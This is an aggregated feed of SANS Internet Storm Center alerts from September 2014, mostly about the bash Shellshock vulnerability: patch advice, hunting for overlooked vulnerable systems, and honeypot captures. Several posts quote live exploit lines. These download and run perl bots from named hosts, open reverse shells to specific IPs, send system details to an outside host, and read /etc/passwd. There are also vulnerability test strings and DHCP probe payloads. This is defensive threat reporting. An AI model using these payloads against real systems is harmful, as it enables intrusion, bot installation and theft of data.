Latest Alerts

Syndicate content SANS Internet Storm Center, InfoCON: yellow
Updated: 51 min 25 sec ago

ISC StormCast for Tuesday, September 30th 2014 http://isc.sans.edu/podcastdetail.html?id=4169, (Tue, Sep 30th)

17 hours 23 min ago
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Apple Released Update to Fix Shellshock Vulnerability http://support.apple.com/kb/DL1769, (Mon, Sep 29th)

Mon, 09/29/2014 - 13:54

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Shellshock: Updated Webcast (Now 6 bash related CVEs!), (Mon, Sep 29th)

Mon, 09/29/2014 - 11:41

I just published an updated YouTube presentation (about 15 min in length) with some of the shell shock related news from the last couple days:

YouTube: https://www.youtube.com/watch?v=b2HKgkH4LrQ
​PDF: https://isc.sans.edu/presentations/ShellShockV2.pdf
PPT: https://isc.sans.edu/presentations/ShellShockV2.pptx

Audio: 

 

As always, the material is published "create commons / share alike", so feel free to use the slides.

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Shellshock: A Collection of Exploits seen in the wild, (Mon, Sep 29th)

Mon, 09/29/2014 - 07:05

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Shellshock: We are not done yet CVE-2014-6277, CVE-2014-6278, (Mon, Sep 29th)

Mon, 09/29/2014 - 06:14

With everybody's eyes on bash vulnerabilities, two new problems have been found [1]. These problems have been assigned CVE-2014-6277 and CVE-2014-6278. These issues are unrelated to the environment variable code injection of shellshock, but could also lead to code execution.

I hope you are keeping good notes as to what systems use bash and how as you are patching. Looks like bash will keep us busy for a bit.

[1] http://www.openwall.com/lists/oss-security/2014/09/25/32

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Shellshock: Vulnerable Systems you may have missed and how to move forward, (Mon, Sep 29th)

Mon, 09/29/2014 - 06:14

By now, I hope you are well on your way to patch your Linux systems for the bash code injection vulnerabilities. At this point, you should probably dig a bit deeper and try to find more "hidden" places that may be vulnerable. First of all, a quick list of things that are not vulnerable:

  • iOS, Android and many similar systems that use ash instead of bash.
  • Many systems are vulnerable, but the vulnerability is not exposed by default. In this case, patching is less urgent but should still be done as soon as patches are available. For example in OS X, there is no web server installed by default, and the DHCP client does not call shell scripts the way Linux does. Solaris uses ksh by default.
  • Many small embedded systems use busybox, not bash, and are not vulnerable.

Now which are the systems you may have missed in your first quick survey? First of all, vulnerability scanners will only find the low hanging fruit for this one, in particular earlier on. There are many larger web applications that have a couple of small cgi-bin scripts that are easily missed.

  • In Apache, look for the ExecCGI anywhere in your Apache configuration (not just httpd.conf, check files that are included by httpd.conf like virtual host configurations). If possible, remove ExecCGI if it was just setup by a default install.
  • Check if /bin/sh is a symlink to /bin/bash, or worse, a copy of /bin/bash. Just to make sure, try the exploit against other shells on the system (I have seen admins rename bash for convenience...)
  • While Android is not vulnerable by default, it is possible to install bash on Android
  • Even Windows can be made vulnerable, if you install tools like cygwin and expose them via a web server
  • "larger" embedded devices, unlike the small devices based on busybox, do sometimes include bash. Depending on how much access you have to the device, this can be hard to figure out
  • cgi web applications that are written in languages other then bash, but call bash (e.g. via exec(), popen() or similar commands.

And some good news: The signature "() {" for the exploit is actually better then I thought originally. Turns out that added spaces or other modifications to this string will break the exploit. 

So in short, your priority list should look like:

  • If today, you find exposed bash scripts in a publicly reachable server in cgi-bin: Assume the server is compromised.
  • Focus on web servers. Patch all web servers as soon as possible even if you currently don't use cgi-bin. It is too easy to miss a script.
  • Any vulnerable system that uses restricted ssh shells
  • Any vulnerable system that is used outside your perimeter (to avoid DHCP attacks)

Moving forward: The idea of writing web applications in bash (or other shell scripting langagues) is pretty dangerous in the first place. It should be done with care, and if possible, try to use a different languages (perl, php, python) as they provide better input validation libraries. SELinux was mentioned as a counter measure, but in this case, it may not work quite as well as hoped. Regardless, learn how to use it and don't just turn it off the first time it gets in the way. Systems like web application firewall and IPSs are very useful in a case like this for virtual patching. Make sure you have these systems in place, even if for the most part, you use them just to alert and log and less to block.

Fellow handler Rob put together this list of "likely to be missed" machines:

  • web content control servers
  • e-mail gateways
  • proxy servers
  • web application firewalls (WAFs)
  • IPS sensors and servers
  • Wireless Controllers
  • VOIP Servers
  • Firewalls
  • Enterprise class routers or switches (yes, really)
  • Any Virtual Machine that you got as an OVA or OVF from a vendor

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Monday, September 29th 2014 http://isc.sans.edu/podcastdetail.html?id=4167, (Mon, Sep 29th)

Sun, 09/28/2014 - 17:54
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Update on CVE-2014-6271: Vulnerability in bash (shellshock), (Thu, Sep 25th)

Sun, 09/28/2014 - 15:13

On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]

Should I apply the patch?

Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>\' bash -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo". 

 

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].

Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,” - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.

It also may be possible to find exposed systems through DHCP:

From one of our readers (Big Shout out and thank you to Patrick!)

Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).

The Solution:

option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";

and running a packet sniffer on IP.THAT.YOU.CONTROL.

It's most reliable and least intrusive (1 ICMP packet).

Unless ICMP filtering is in place in which case, use...

option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";

will also work on systems that have wget. Just tail logs for 404s

NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!

This DHCP solution is experimental so be careful!

Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.  

Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]

We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:

178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>">---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

What has Bash and Heartbleed Taught Us?, (Sat, Sep 27th)

Sat, 09/27/2014 - 17:58

Two significant vulnerabilities affecting a wide range of systems that couldn't be patch fast enough were released in the past few months. The simple solution for both issues was to find and to patch. However, if the site audit policy is inadequate, finding these systems became a daunting task. It became clear that regularly auditing a network is a necessity, having a baseline you can rely on and an accurate software inventory is critical when dealing with issues like; how many systems are using Bash or might have OpenSSL embedded in them is paramount.

Ways that can be used to address and fix known vulnerabilities; and help detect suspicious activity:

1- Identify the risks, if software patch it. If it is the enterprise's "crown jewels", make sure they are well protected. Remember, this a repetitive process that need to be reviewed at regular interval.
2- Defense-in-depth from the perimeter to the host and regularly test and verify its accuracy
3- If you own an IDS/IPS, turn off old signatures that fire on old software. They just "fatigue" the analysts and detract them from the real attacks
4- Set up a SIEM to centralize logging and alert on events that have been identified as serious risks and/or unusual activity

Dealing with Bash will eventually be coming to an end. If you already have a simple and easy method for auditing and keeping an accurate host software inventory, we would like to hear from you. Using your method, how quickly were you able to identify all the vulnerable network devices?

[1] http://heartbleed.com/
[2] https://isc.sans.edu/forums/diary/Attention+NIX+admins+time+to+patch/18703
[3] http://nmap.org/
[4] http://www.open-audit.org/
[5] http://www.openvas.org/

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Why We Have Moved to InfoCon:Yellow, (Fri, Sep 26th)

Fri, 09/26/2014 - 19:13

 

At the Storm Center, we are strict and judicious on moving the InfoCon status. We felt, after dialog, that Yellow is warranted in this case as we are seeing signs of worm/botnet activity. This combined with so many systems are impacted [worm], with no signs of letting up [met].

We will monitor this closely and relax InfoCon when the situation seems to be more stable.

Some example requests currently probing for the vulnerability:

GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

ec.z is an obfuscated perl script launching an IRC bot. 

This second attack uses multiple headers. We have not yet recovered the 'nginx' binary.

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
Host: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
User-Agent: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Cookie: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Referer: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

In addition, we have seen numerous scans that will just probe the vulnerability.

[met] https://github.com/rapid7/metasploit-framework/pull/3891
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspx

 

---

Richard W. Porter

rporter at isc dot sans dot edu || @packetalien

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Semiannual Cisco IOS Software Security Advisory Bundled Publication http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep14.html, (Fri, Sep 26th)

Thu, 09/25/2014 - 16:28

Richard Porter --- ISC Handler on Duty

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Friday, September 26th 2014 http://isc.sans.edu/podcastdetail.html?id=4165, (Thu, Sep 25th)

Thu, 09/25/2014 - 15:56
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Webcast Briefing: Bash Code Injection Vulnerability, (Thu, Sep 25th)

Thu, 09/25/2014 - 14:13

I created a quick Youtube video to summarize the impact of the vulnerability. The tricky part is that there is a huge vulnerable population out there, but the impact is limited as in most cases, the vulnerability is not exposed.

Feel free to share the video or the slides. I am making PPT and PDF versions available below

PDF Version of Slides
PPT Version of Slides (coming soon. not uploaded yet)

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Thursday, September 25th 2014 http://isc.sans.edu/podcastdetail.html?id=4163, (Thu, Sep 25th)

Wed, 09/24/2014 - 18:07
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Attention *NIX admins, time to patch!, (Wed, Sep 24th)

Wed, 09/24/2014 - 08:05

Over the past years, we became used to Microsoft Patches, the important, critical ones that would render your system fully vulnerable if you didn't apply them. We probably became so used that sometime we forget that our Linux servers also need patches.

Today I've learned about a critical Bash patch, that addresses the CVE-2014-6271. According the advisory:

"A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue."

The patches are already ready for most of the Linux distros, like RedHat and Debian, so waste no time.

---

Pedro Bueno (pbueno /%%/ isc. sans. org)
Twitter: http://twitter.com/besecure

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Wednesday, September 24th 2014 http://isc.sans.edu/podcastdetail.html?id=4161, (Wed, Sep 24th)

Tue, 09/23/2014 - 17:32
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

jQuery.com Compromise: The Dangers of Third Party Hosted Content, (Tue, Sep 23rd)

Tue, 09/23/2014 - 15:29

jQuery is a popular Javascript framework, used by many websites (including isc.sans.edu) . jQuery provides many features, like easy access to webservices as well as advanced user interface features. When using jQuery, sites have the option to download and host the complete code, or let jQuery.com and it's CDN (Content Delivery Network) host the code.

There are two advantages in allowing jQuery.com to host the code:

  • Performance: Code is typically delivered faster, and a user may already have the code cached if they visited another site that used the CDN hosted copy of jQuery.
  • Automatic Updates: Updates to jQuery are pushed to the CDN by the jQuery developers, and a website using it will automatically receive the latest copy.

On the other hand, there is an important drawback, and the main reason why the jQuery code for isc.sans.edu is hosted on our own servers: With code being "blindly" included from 3rd party sites, it is possible that a compromise of this 3rd party site will affect your site's security.

Sadly, just this happened according to RiskIQ with jQuery.com [1]. The web site was compromised and malicious code was injected redirecting users to a malicious site. Luckily, the jQuery library was NOT affected. Otherwise, many additional sites would have been exposed and visitors to these sites would have been affected. This is in particular fortunate as the attack appears to be targeted. The redirection domain used in this attack was jquery-cdn.com . That domain was registered on the day the attack was first noticed.

Particulary concerning is the fact that I am unable to find any statement about the attack on jQuery.com . If someone has a link, please let me know.

[1] http://www.net-security.org/malware_news.php?id=2869

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Tuesday, September 23rd 2014 http://isc.sans.edu/podcastdetail.html?id=4159, (Tue, Sep 23rd)

Mon, 09/22/2014 - 16:53
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Fake LogMeIn Certificate Update with Bad AV Detection Rate, (Mon, Sep 22nd)

Mon, 09/22/2014 - 07:47

I just receive a pretty "plausible looking" e-mail claiming to originate from Logmein.com. The e-mail passed the first "gut check".

  • The "From" address is auto-mailer@logmein.com.
  • It was sent to an address I have used for Logmein in the past
  • The only link inside the e-mail went to a legit Logmein URL.

Of course, the .zip attachment did set off some alarm bells, in particular as it unzipped to a .scr (Screen Saver).

According to VirusTotal, AV detection is almost non-existant at this point:

LogmeIn does publish a SPF record, and the e-mail did not originate from a valid LogmeIn mail sender, so it should be easy to descriminate against these emails using a standard spam filter.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

iOS 7.1.x Exploit Released (CVE-2014-4377), (Mon, Sep 22nd)

Mon, 09/22/2014 - 05:41

Haven't upgraded to iOS 8 yet? Aside from a lot of new features, Apple also fixed a number of security vulnerabilities in iOS 8. For example CVE-2014-4377, a memory corrupion issue in iOS's core graphics library. An exploit is now available for this vulnerability.

NOTE: I have not verified yet that the exploit is working / genuine. We will not link at this point to the exploit code, but basic Google Fu should allow you to find it.

The author claims that the exploit is "compleatly reliable and portable on iOS 7.1.x". The exploit comes in the form of a malformed PDF, which would usually be delivered as an image inside an HTML page.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts